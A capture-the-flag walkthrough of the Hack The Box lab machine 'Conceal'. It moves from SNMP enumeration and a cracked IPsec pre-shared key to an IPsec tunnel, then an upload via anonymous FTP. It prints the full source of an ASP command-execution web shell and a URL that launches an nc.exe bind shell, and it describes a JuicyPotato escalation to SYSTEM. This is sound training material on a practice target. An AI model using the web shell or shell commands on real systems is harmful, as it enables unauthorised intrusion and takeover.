This post documents the complete walkthrough of Conceal, a retired vulnerable VM created by bashlogic, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
Background
Conceal is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.116
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-05 01:30:40 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 161/udp on 10.10.10.116
Interesting! There’s only one open port 161/udp, which is SNMP. For the first time, I didn’t use nmap to perform further enumeration.
Simple Network Management Protocol
Let’s use snmp-check and see what we can find.
# snmp-check -v2c -c public 10.10.10.116
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
[+] Try to connect to 10.10.10.116:161 using SNMPv2c and community 'public'
[*] System information:
Host IP address : 10.10.10.116
Hostname : Conceal
Description : Hardware: Intel64 Family 6 Model 79 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free)
Contact : IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43
Location : -
Uptime snmp : 00:01:20.64
Uptime system : 00:00:56.07
System date : 2019-3-7 02:41:00.0
Domain : WORKGROUP
[*] User accounts:
Guest
Destitute
Administrator
DefaultAccount
[*] Network information:
IP forwarding enabled : no
Default TTL : 128
TCP segments received : 2
TCP segments sent : 1
TCP segments retrans : 0
Input datagrams : 251
Delivered datagrams : 269
Output datagrams : 241
[*] Network interfaces:
Interface : [ up ] Software Loopback Interface 1
Id : 1
Mac Address : :::::
Type : softwareLoopback
Speed : 1073 Mbps
MTU : 1500
In octets : 0
Out octets : 0
Interface : [ down ] WAN Miniport (IKEv2)
Id : 2
Mac Address : :::::
Type : unknown
Speed : 0 Mbps
MTU : 0
In octets : 0
Out octets : 0
Interface : [ down ] WAN Miniport (PPTP)
Id : 3
Mac Address : :::::
Type : unknown
Speed : 0 Mbps
MTU : 0
In octets : 0
Out octets : 0
Interface : [ down ] Microsoft Kernel Debug Network Adapter
Id : 4
Mac Address : :::::
Type : ethernet-csmacd
Speed : 0 Mbps
MTU : 0
In octets : 0
Out octets : 0
Interface : [ down ] WAN Miniport (L2TP)
Id : 5
Mac Address : :::::
Type : unknown
Speed : 0 Mbps
MTU : 0
In octets : 0
Out octets : 0
Interface : [ down ] Teredo Tunneling Pseudo-Interface
Id : 6
Mac Address : 00:00:00:00:00:00
Type : unknown
Speed : 0 Mbps
MTU : 0
In octets : 0
Out octets : 0
Interface : [ down ] WAN Miniport (IP)
Id : 7
Mac Address : :::::
Type : ethernet-csmacd
Speed : 0 Mbps
MTU : 0
In octets : 0
Out octets : 0
Interface : [ down ] WAN Miniport (SSTP)
Id : 8
Mac Address : :::::
Type : unknown
Speed : 0 Mbps
MTU : 0
In octets : 0
Out octets : 0
Interface : [ down ] WAN Miniport (IPv6)
Id : 9
Mac Address : :::::
Type : ethernet-csmacd
Speed : 0 Mbps
MTU : 0
In octets : 0
Out octets : 0
Interface : [ up ] Intel(R) 82574L Gigabit Network Connection
Id : 10
Mac Address : 00:50:56:b9:8f:fa
Type : ethernet-csmacd
Speed : 1000 Mbps
MTU : 1500
In octets : 17694
Out octets : 30257
Interface : [ down ] WAN Miniport (PPPOE)
Id : 11
Mac Address : :::::
Type : ppp
Speed : 0 Mbps
MTU : 0
In octets : 0
Out octets : 0
Interface : [ down ] WAN Miniport (Network Monitor)
Id : 12
Mac Address : :::::
Type : ethernet-csmacd
Speed : 0 Mbps
MTU : 0
In octets : 0
Out octets : 0
Interface : [ up ] Intel(R) 82574L Gigabit Network Connection-WFP Native MAC Layer LightWeight Filter-0000
Id : 13
Mac Address : 00:50:56:b9:8f:fa
Type : ethernet-csmacd
Speed : 1000 Mbps
MTU : 1500
In octets : 17694
Out octets : 30257
Interface : [ up ] Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-0000
Id : 14
Mac Address : 00:50:56:b9:8f:fa
Type : ethernet-csmacd
Speed : 1000 Mbps
MTU : 1500
In octets : 17694
Out octets : 30257
Interface : [ up ] Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer LightWeight Filter-0000
Id : 15
Mac Address : 00:50:56:b9:8f:fa
Type : ethernet-csmacd
Speed : 1000 Mbps
MTU : 1500
In octets : 17694
Out octets : 30257
[*] Network IP:
Id IP Address Netmask Broadcast
10 10.10.10.116 255.255.255.0 1
1 127.0.0.1 255.0.0.0 1
[*] Routing information:
Destination Next hop Mask Metric
0.0.0.0 10.10.10.2 0.0.0.0 281
10.10.10.0 10.10.10.116 255.255.255.0 281
10.10.10.116 10.10.10.116 255.255.255.255 281
10.10.10.255 10.10.10.116 255.255.255.255 281
127.0.0.0 127.0.0.1 255.0.0.0 331
127.0.0.1 127.0.0.1 255.255.255.255 331
127.255.255.255 127.0.0.1 255.255.255.255 331
224.0.0.0 127.0.0.1 240.0.0.0 331
255.255.255.255 127.0.0.1 255.255.255.255 331
[*] TCP connections and listening ports:
Local address Local port Remote address Remote port State
0.0.0.0 21 0.0.0.0 0 listen
0.0.0.0 80 0.0.0.0 0 listen
0.0.0.0 135 0.0.0.0 0 listen
0.0.0.0 445 0.0.0.0 0 listen
0.0.0.0 49664 0.0.0.0 0 listen
0.0.0.0 49665 0.0.0.0 0 listen
0.0.0.0 49666 0.0.0.0 0 listen
0.0.0.0 49667 0.0.0.0 0 listen
0.0.0.0 49668 0.0.0.0 0 listen
0.0.0.0 49669 0.0.0.0 0 listen
0.0.0.0 49670 0.0.0.0 0 listen
10.10.10.116 139 0.0.0.0 0 listen
[*] Listening UDP ports:
Local address Local port
0.0.0.0 161
0.0.0.0 500
0.0.0.0 4500
0.0.0.0 5353
0.0.0.0 5355
0.0.0.0 63602
10.10.10.116 137
10.10.10.116 138
[*] Network services:
Index Name
0 Power
1 Server
2 Themes
3 IP Helper
4 DNS Client
5 Data Usage
6 Superfetch
7 DHCP Client
8 Time Broker
9 Workstation
10 SNMP Service
11 User Manager
12 VMware Tools
13 CoreMessaging
14 Plug and Play
15 Print Spooler
16 Windows Audio
17 Task Scheduler
18 Windows Search
19 Windows Update
20 Windows Firewall
21 CNG Key Isolation
22 COM+ Event System
23 Windows Event Log
24 IPsec Policy Agent
25 Volume Shadow Copy
26 Group Policy Client
27 RPC Endpoint Mapper
28 Device Setup Manager
29 Network List Service
30 System Events Broker
31 User Profile Service
32 Base Filtering Engine
33 Local Session Manager
34 Microsoft FTP Service
35 TCP/IP NetBIOS Helper
36 Cryptographic Services
37 Device Install Service
38 Tile Data model server
39 COM+ System Application
40 Diagnostic Service Host
41 WMI Performance Adapter
42 Shell Hardware Detection
43 State Repository Service
44 VMware Snapshot Provider
45 Diagnostic Policy Service
46 Network Connection Broker
47 Security Accounts Manager
48 Network Location Awareness
49 Windows Connection Manager
50 Windows Font Cache Service
51 Remote Procedure Call (RPC)
52 DCOM Server Process Launcher
53 Windows Audio Endpoint Builder
54 Application Host Helper Service
55 Network Store Interface Service
56 Client License Service (ClipSVC)
57 Distributed Link Tracking Client
58 System Event Notification Service
59 World Wide Web Publishing Service
60 Portable Device Enumerator Service
61 Windows Defender Antivirus Service
62 Windows Management Instrumentation
63 Windows Process Activation Service
64 Distributed Transaction Coordinator
65 IKE and AuthIP IPsec Keying Modules
66 Microsoft Account Sign-in Assistant
67 VMware CAF Management Agent Service
68 VMware Physical Disk Helper Service
69 Background Tasks Infrastructure Service
70 Program Compatibility Assistant Service
71 VMware Alias Manager and Ticket Service
72 Connected User Experiences and Telemetry
73 WinHTTP Web Proxy Auto-Discovery Service
74 Windows Defender Security Centre Service
75 Windows Push Notifications System Service
76 Windows Defender Antivirus Network Inspection Service
[*] Processes:
Id Status Name Path Parameters
1 running System Idle Process
4 running System
308 running smss.exe
368 running svchost.exe C:\Windows\system32\ -k LocalService
376 running svchost.exe C:\Windows\system32\ -k netsvcs
392 running csrss.exe
468 running wininit.exe
488 running csrss.exe
568 running winlogon.exe
592 running services.exe
620 running lsass.exe C:\Windows\system32\
696 running fontdrvhost.exe
704 running fontdrvhost.exe
756 running svchost.exe C:\Windows\system32\ -k DcomLaunch
812 running svchost.exe C:\Windows\system32\ -k RPCSS
884 running vmacthlp.exe C:\Program Files\VMware\VMware Tools\
904 running dwm.exe
952 running svchost.exe C:\Windows\System32\ -k LocalServiceNetworkRestricted
972 running svchost.exe C:\Windows\system32\ -k LocalServiceNoNetwork
1000 running svchost.exe C:\Windows\System32\ -k LocalSystemNetworkRestricted
1164 running svchost.exe C:\Windows\System32\ -k NetworkService
1172 running svchost.exe C:\Windows\System32\ -k LocalServiceNetworkRestricted
1264 running svchost.exe C:\Windows\System32\ -k LocalServiceNetworkRestricted
1272 running svchost.exe C:\Windows\system32\ -k LocalServiceNetworkRestricted
1368 running spoolsv.exe C:\Windows\System32\
1588 running svchost.exe C:\Windows\system32\ -k appmodel
1668 running Memory Compression
1708 running dllhost.exe C:\Windows\system32\ /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
1740 running svchost.exe C:\Windows\system32\ -k apphost
1768 running svchost.exe C:\Windows\System32\ -k utcsvc
1780 running svchost.exe C:\Windows\system32\ -k ftpsvc
1836 running SecurityHealthService.exe
1852 running snmp.exe C:\Windows\System32\
1868 running VGAuthService.exe C:\Program Files\VMware\VMware Tools\VMware VGAuth\
1888 running vmtoolsd.exe C:\Program Files\VMware\VMware Tools\
1916 running ManagementAgentHost.exe C:\Program Files\VMware\VMware Tools\VMware CAF\pme\bin\
1932 running svchost.exe C:\Windows\system32\ -k iissvcs
1952 running MsMpEng.exe
2124 running sysprep.exe Sysprep\ /respecialize /quiet
2336 running svchost.exe C:\Windows\system32\ -k NetworkServiceNetworkRestricted
2424 running powershell.exe -exec bypass -file c:\admin_checks\checks.ps1
2536 running taskhostw.exe SYSTEM
2684 running conhost.exe \??\C:\Windows\system32\ 0x4
2704 running dllhost.exe C:\Windows\system32\ /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
[*] Storage information:
Description : ["C:\\ Label: Serial Number 9606be7b"]
Device id : [#<SNMP::Integer:0x00005571326fd1e8 @value=1>]
Filesystem type : ["unknown"]
Device unit : [#<SNMP::Integer:0x000055713252e3d0 @value=4096>]
Memory size : 59.51 GB
Memory used : 10.70 GB
Description : ["D:\\"]
Device id : [#<SNMP::Integer:0x0000557132711b20 @value=2>]
Filesystem type : ["unknown"]
Device unit : [#<SNMP::Integer:0x0000557132752be8 @value=0>]
Memory size : 0 bytes
Memory used : 0 bytes
Description : ["Virtual Memory"]
Device id : [#<SNMP::Integer:0x000055713276e118 @value=3>]
Filesystem type : ["unknown"]
Device unit : [#<SNMP::Integer:0x000055713277fb48 @value=65536>]
Memory size : 3.12 GB
Memory used : 803.44 MB
Description : ["Physical Memory"]
Device id : [#<SNMP::Integer:0x000055713279aec0 @value=4>]
Filesystem type : ["unknown"]
Device unit : [#<SNMP::Integer:0x00005571327c1318 @value=65536>]
Memory size : 2.00 GB
Memory used : 837.12 MB
[*] File system information:
Index : 1
Mount point :
Remote mount point : -
Access : 1
Bootable : 0
[*] Device information:
Id Type Status Descr
1 unknown running Microsoft XPS Document Writer v4
2 unknown running Microsoft Print To PDF
3 unknown running Microsoft Shared Fax Driver
4 unknown running Unknown Processor Type
5 unknown running Unknown Processor Type
6 unknown unknown Software Loopback Interface 1
7 unknown unknown WAN Miniport (IKEv2)
8 unknown unknown WAN Miniport (PPTP)
9 unknown unknown Microsoft Kernel Debug Network Adapter
10 unknown unknown WAN Miniport (L2TP)
11 unknown unknown Teredo Tunneling Pseudo-Interface
12 unknown unknown WAN Miniport (IP)
13 unknown unknown WAN Miniport (SSTP)
14 unknown unknown WAN Miniport (IPv6)
15 unknown unknown Intel(R) 82574L Gigabit Network Connection
16 unknown unknown WAN Miniport (PPPOE)
17 unknown unknown WAN Miniport (Network Monitor)
18 unknown unknown Intel(R) 82574L Gigabit Network Connection-WFP Native MAC Layer
19 unknown unknown Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-
20 unknown unknown Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer L
21 unknown unknown D:\
22 unknown running Fixed Disk
23 unknown running IBM enhanced (101- or 102-key) keyboard, Subtype=(0)
[*] Software components:
Index Name
1 Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161
2 VMware Tools
3 Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161
[*] IIS server information:
TotalBytesSentLowWord : 0
TotalBytesReceivedLowWord : 0
TotalFilesSent : 0
CurrentAnonymousUsers : 0
CurrentNonAnonymousUsers : 0
TotalAnonymousUsers : 0
TotalNonAnonymousUsers : 0
MaxAnonymousUsers : 0
MaxNonAnonymousUsers : 0
CurrentConnections : 0
MaxConnections : 0
ConnectionAttempts : 0
LogonAttempts : 0
Gets : 0
Posts : 0
Heads : 0
Others : 0
CGIRequests : 0
BGIRequests : 0
NotFoundErrors : 0
You can see that an IKE service is actually present at 500/udp among other services. Somehow, the rest of the services are concealed. I take back my word that I don’t need nmap this time. 
Let’s use nmap to scan for the IKE version.
# nmap -sU -p 500 --script ike-version 10.10.10.116
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-05 02:41 UTC
Nmap scan report for 10.10.10.116
Host is up (0.18s latency).
PORT STATE SERVICE
500/udp open isakmp
| ike-version:
| vendor_id: Microsoft Windows 8
| attributes:
| MS NT5 ISAKMPOAKLEY
| RFC 3947 NAT-T
| draft-ietf-ipsec-nat-t-ike-02\n
| IKE FRAGMENTATION
| MS-Negotiation Discovery Capable
|_ IKE CGA version 1
Service Info: OS: Windows 8; CPE: cpe:/o:microsoft:windows:8, cpe:/o:microsoft:windows
Nmap done: 1 IP address (1 host up) scanned in 9.41 seconds
It appears to be using IKEv1. Alternatively, we can use ike-scan to determine the version.
# ike-scan 10.10.10.116 -M
Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.10.116 Main Mode Handshake returned
HDR=(CKY-R=0a8ddd4d8222f452)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080)
VID=1e2b516905991c7d7c96fcbfb587e46100000009 (Windows-8)
VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T)
VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02\n)
VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
VID=fb1de3cdf341b7ea16b7e5be0855f120 (MS-Negotiation Discovery Capable)
VID=e3a5966a76379fe707228231e5ce8652 (IKE CGA version 1)
Ending ike-scan 1.9.4: 1 hosts scanned in 0.208 seconds (4.81 hosts/sec). 1 returned handshake; 0 returned notify
OK, I’m pretty sure it’s IKEv1. IKEv1 has two phases, Phase 1 operates in Main Mode (6-way handshake) or Aggressive Mode (3-way handshake) while Phase 2 operates in Quick Mode.
At the very beginning of the snmp-check’s output lies the pre-shared key for authentication during Phase 1 (Main Mode) of the Internet Key Exchange (IKE). It’s easy to miss that if you don’t know what you are looking for.
IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43
It turns out that this is not the shared secret. Instead, this is the MD5 hash of the password. A quick search for the hash in online cracker reveals the password to be Dudecake1!
IPSec - Internet Key Exchange (IKE) and Encapulating Security Payload (ESP)
Good thing Linux is well-eqipped to take advantage of this, all we have to do is to install strongSwan. The problem now is to find the correct configuration because IPSec is complex and we don’t know the configuration on the “right” side as per strongSwan’s parlance.
Well, we know enough security parameters for Phase 1 - Main Mode from ike-scan. We can more or less “guess” the security parameters for Phase 2 - Quick Mode. We also want to establish the transport mode of IPSec because we are already in a VPN (OpenVPN) and the connection is between my HTB’s assigned IP address and that of Conceal’s.
ipsec.conf
With that in mind, let’s construct the connection.
config setup
conn %default
inactivity=1h
keyexchange=ikev1
ike=3des-sha1-modp1024!
esp=3des-sha1
authby=secret
conn conceal
left=%any
right=10.10.10.116
rightsubnet=10.10.10.116[tcp/%any]
type=transport
auto=add
The ike parameter specifies the cipher suite that we want to use. This is not new to us because this is the cipher suite exposed by ike-scan earlier on.
The inactivity parameter specifies the timeout interval, after which a CHILD_SA is closed if it did not send or receive any traffic.
The esp parameter is the only parameter that we need to guess. Judging from Microsoft’s track history of not complying with security recommendations or open standards in order to be backward compatible, this can be easily guessed.
The rightsubnet parameter specifies we are connecting securely (over IPSec) to Conceal for all TCP ports. Recall from SNMP that Conceal is also listening on 21/tcp, 80/tcp, 139/tcp, and 445/tcp.
The type parameter specifies the type of connection we want to establish. In this case, we want to establish transport mode.
ipsec.secrets
Simple and self-explanatory.
: PSK "Dudecake1!"
Establishing IPSec Transport Mode
Time to establish the connection!
When that’s done, let’s test it out with my browser since 80/tcp is open.
We can now re-run nmap on the open ports. Note that we need to use nmap’s connect scan with the -sT switch because,
Nmap asks the underlying operating system to establish a connection with the target machine and port by issuing the connect system call. This is the same high-level system call that web browsers, P2P clients, and most other network-enabled applications use to establish a connection.
# nmap -n -v -Pn -sT -p21,80,139,445 10.10.10.116 -A --reason -oN nmap.txt
...
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http syn-ack Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack
...
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-03-07 00:53:56
|_ start_date: 2019-03-06 23:06:41
To be honest, I could have skipped this step. I did it to show some love to nmap.
Directory/File Enumeration
Finally, we can continue with our enumeration journey. Let’s start with wfuzz.
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 http://10.10.10.116/FUZZ
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.116/FUZZ
Total requests: 4593
==================================================================
ID Response Lines Word Chars Payload
==================================================================
004186: C=301 1 L 10 W 150 Ch "upload"
Total time: 233.0655
Processed Requests: 4593
Filtered Requests: 4592
Requests/sec.: 19.70690
Hmm. Where can I upload files? FTP of course.
Here’s proof that the file was successfully uploaded.
Armed with this knowledge, we can upload a simple ASP file that executes commands remotely.
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<html>
<body>
<form action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</form>
<pre>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
</pre>
<br>
<b>Command Output:</b>
<br>
<pre>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write Server.HTMLEncode(thisDir)%>
</pre>
<br>
</body>
</html>
While we are at it, we might as well upload nc.exe to see if we can spawn a bind shell because I noticed that there’s a script that deletes whatever is in /upload rather quickly.
Remote command execution unlocked! Time to spawn that bind shell.
http://10.10.10.116/upload/hello.asp?cmd=c%3A%5Cinetpub%5Cwwwroot%5Cupload%5Cnc.exe+-lnvp+12345+-e+cmd.exe
Awesome.
The proof.txt is at Destitute’s desktop.
Privilege Escalation
During enumeration of destitute’s account, I notice that the account has these privileges.
I smell potato cooking! There were different types of potato uncovered in my reseach and oh boy, in the end the “juicy” one seems the most promising because of the various command switches available. More importantly, I can change to a different COM server other than BITS.
For some reason I couldn’t recall, I decided to go for UsoSvc’s CLSID, which can be found here. Earlier on, I’d already established that Conceal is a Windows 10 Enterprise.
The CLSID of UsoSvc is {B91D5831-B1BD-4608-8198-D72E155020F7}. We are now set to run the exploit.
I upload the exploit jp.exe to C:\inetpub\wwwroot\upload via FTP.
Then I run the exploit.
Meanwhile at my nc listener, a SYSTEM shell appears.
Getting proof.txt is trivial when you have SYSTEM privileges.
